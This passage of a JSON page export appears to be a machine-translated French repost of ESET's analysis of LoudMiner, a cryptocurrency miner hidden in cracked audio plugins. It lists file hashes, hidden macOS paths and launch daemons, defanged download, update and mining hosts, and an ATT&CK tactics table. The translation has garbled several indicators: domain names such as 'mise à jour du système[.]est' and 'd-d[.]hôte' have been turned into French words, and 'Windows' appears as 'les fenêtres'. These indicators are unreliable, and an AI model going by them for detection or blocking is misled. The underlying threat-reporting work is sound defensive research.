LoudMiner.A"},{"id":"text-105","heading":"Text","content":"7c7876058783da85d5502b9406f7fb4d26f66238\nSoundToys_5.0.1_x64-SetupFiles.rar\nWin32 / LoudMiner.A"},{"id":"text-106","heading":"Text","content":"a1a1dc7876d71749a8bc5690c537451770ef4ab8\nValhalla-DSP-Full-Bundle-setupfiles.zip\nWin32 / LoudMiner.A"},{"id":"text-107","heading":"Text","content":"Images Linux"},{"id":"text-108","heading":"Text","content":"SHA-1\nNom de fichier\nNuméro de version"},{"id":"text-109","heading":"Text","content":"dd9b89a3c5a88fb679f098e2c2847d22350e23b1\nsys00_1-disk001.qcow2\n1"},{"id":"text-110","heading":"Text","content":"d1e42e913da308812dd8da1601531b197c1a09a1\nsys00_1-disk001.qcow2\n1"},{"id":"text-111","heading":"Text","content":"39a7e86368f0e68a86cce975fd9d8c254a86ed93\nz1.qcow2 (renommé avec un nom aléatoire)\n2"},{"id":"text-112","heading":"Text","content":"59026ffa1aa7b60e5058a0795906d107170b9e0f\nz1.qcow2 (renommé avec un nom aléatoire)\n3"},{"id":"text-113","heading":"Text","content":"fcf5c3b560295ee330b97424b7354fd321757cc6\nsys00_1.ova\n4"},{"id":"text-114","heading":"Text","content":"fc60431a0172d5b8cf4b34866567656467cf861c\nsys00_1.ova\n4"},{"id":"text-115","heading":"Text","content":"Noms de fichiers\nmacOS"},{"id":"text-116","heading":"Text","content":"/ Bibliothèque / Application Support / .Qemusys\n/ Bibliothèque / Application Support / .System-Monitor\n/usr/local/bin/.Tools-Service, cpumonitor, moniteur système, tools-service\n/Bibliothèque/LaunchDaemons/com.buildtools.system-monitor.plist, com.buildtools.tools-service.plist, com.modulesys.qemuservice.plist, com.systools.cpumonitor.plist"},{"id":"text-117","heading":"Text","content":"les fenêtres\nNoms d&#39;hôtes\nvstcrack[.]com (137[.]74.151.144)\nHôtes de téléchargement (via HTTP sur le port 80)"},{"id":"text-118","heading":"Text","content":"185[.]112.156.163\n185[.]112.156.29\n185[.]112.156.70\n185[.]112.157.102\n185[.]112.157.103\n185[.]112.157.105\n185[.]112.157.12\n185[.]112.157.181\n185[.]112.157.213\n185[.]112.157.24\n185[.]112.157.38\n185[.]112.157.49\n185[.]112.157.53\n185[.]112.157.65\n185[.]112.157.72\n185[.]112.157.79\n185[.]112.157.85\n185[.]112.157.99\n185[.]112.158.112\n185[.]112.158.133\n185[.]112.158.186\n185[.]112.158.190\n185[.]112.158.20\n185[.]112.158.3\n185[.]112.158.96\nd-d[.]hôte (185[.]112.158.44)\nd-d[.]vivre (185[.]112.156.227)\nd-d[.]espace (185[.]112.157.79)\nm-m[.]icu (185[.]112.157.118)"},{"id":"text-119","heading":"Text","content":"Mettre à jour les hôtes (via SCP)"},{"id":"text-120","heading":"Text","content":"aly001[.]hopto.org (192[.]210.200.87, port 22)\nmise à jour du système[.]est (145[.]249.104.109, port 5100)"},{"id":"text-121","heading":"Text","content":"Mining hôtes"},{"id":"text-122","heading":"Text","content":"mise à jour du système[.]info (185)[.]193.126.114, port 443 ou 8080)\nverification du système[.]services (82[.]221.139.161, port 8080)"},{"id":"text-123","heading":"Text","content":"Tactique\nID\nprénom\nLa description"},{"id":"text-124","heading":"Text","content":"Exécution\nT1035\nExécution du service\nSous Windows, l&#39;image Linux est exécutée en tant que service avec VboxVmService."},{"id":"text-125","heading":"Text","content":"Persistance\nT1050\nNouveau service\nInstallez la machine virtuelle Linux en tant que service avec VboxVmService."},{"id":"text-126","heading":"Text","content":"T1062\nHyperviseur\nInstallez un hyperviseur de type 2 sur l&#39;hôte (VirtualBox ou QEMU) pour exécuter le mineur."},{"id":"text-127","heading":"Text","content":"T1160\nLancer le démon\nLes versions de macOS utilisent un démon de lancement pour assurer la persistance."},{"id":"text-128","heading":"Text","content":"Défense Evasion\nT1027\nFichiers ou informations masqués\nCertains scripts shell sont obscurcis et certains installateurs sont chiffrés dans les versions de macOS."},{"id":"text-129","heading":"Text","content":"T1045\nEmballage logiciel\nUtilisez BAT2EXE pour créer un script de lot dans les versions Windows."},{"id":"text-130","heading":"Text","content":"T1158\nFichiers cachés et répertoires\nLe dossier d&#39;installation de VirtualBox et le répertoire contenant l&#39;image Linux sont masqués."},{"id":"text-131","heading":"Text","content":"Commander et contrôler\nT1043\nPort couramment utilisé\nUtilisez les ports TCP 443 et 8080 pour la communication du pool d’extraction."},{"id":"text-132","heading":"Text","content":"T1105\nCopie de fichier à distance\nUtilisez SCP (port 22 ou 5100) pour copier des fichiers depuis / vers le serveur C &amp; C."},{"id":"text-133","heading":"Text","content":"Impact\nT1496\nDétournement de ressources\nUtilisez des machines victimes pour extraire la crypto-monnaie (Monero)."},{"id":"text-134","heading":"Text","content":"Michal Malik et ESET Research\t\t\t\t\t\t\t\t20 juin 2019 &#8211; 11h00"},{"id":"text-135","heading":"Text","content":"Click to rate this post!\n                                   \n                               [Total: 0  Average: 0]"}],"media":{"primary_image":"https://tutos-gameserver.fr/wp-content/uploads/2019/08/LoudMiner-thumbnail-2-e1561024142524.jpg"},"relations":[{"rel":"canonical","href":"https://tutos-gameserver.fr/2019/08/06/loudminer-exploitation-multi-plateforme-dans-un-logiciel-vst-fissure-serveur-dimpression/"},{"rel":"alternate","href":"https://tutos-gameserver.fr/2019/08/06/loudminer-exploitation-multi-plateforme-dans-un-logiciel-vst-fissure-serveur-dimpression/llm","type":"text/html"},{"rel":"alternate","href":"https://tutos-gameserver.fr/2019/08/06/loudminer-exploitation-multi-plateforme-dans-un-logiciel-vst-fissure-serveur-dimpression/llm.json","type":"application/json"},{"rel":"llm-manifest","href":"https://tutos-gameserver.fr/llm-endpoints-manifest.json","type":"application/json"}],"http_headers":{"X-LLM-Friendly":"1","X-LLM-Schema":"1.1.0","Content-Security-Policy":"default-src 'none'; img-src * data:; style-src 'unsafe-inline'"},"license":"CC BY-ND 4.0","attribution_required":true,"allow_cors":false}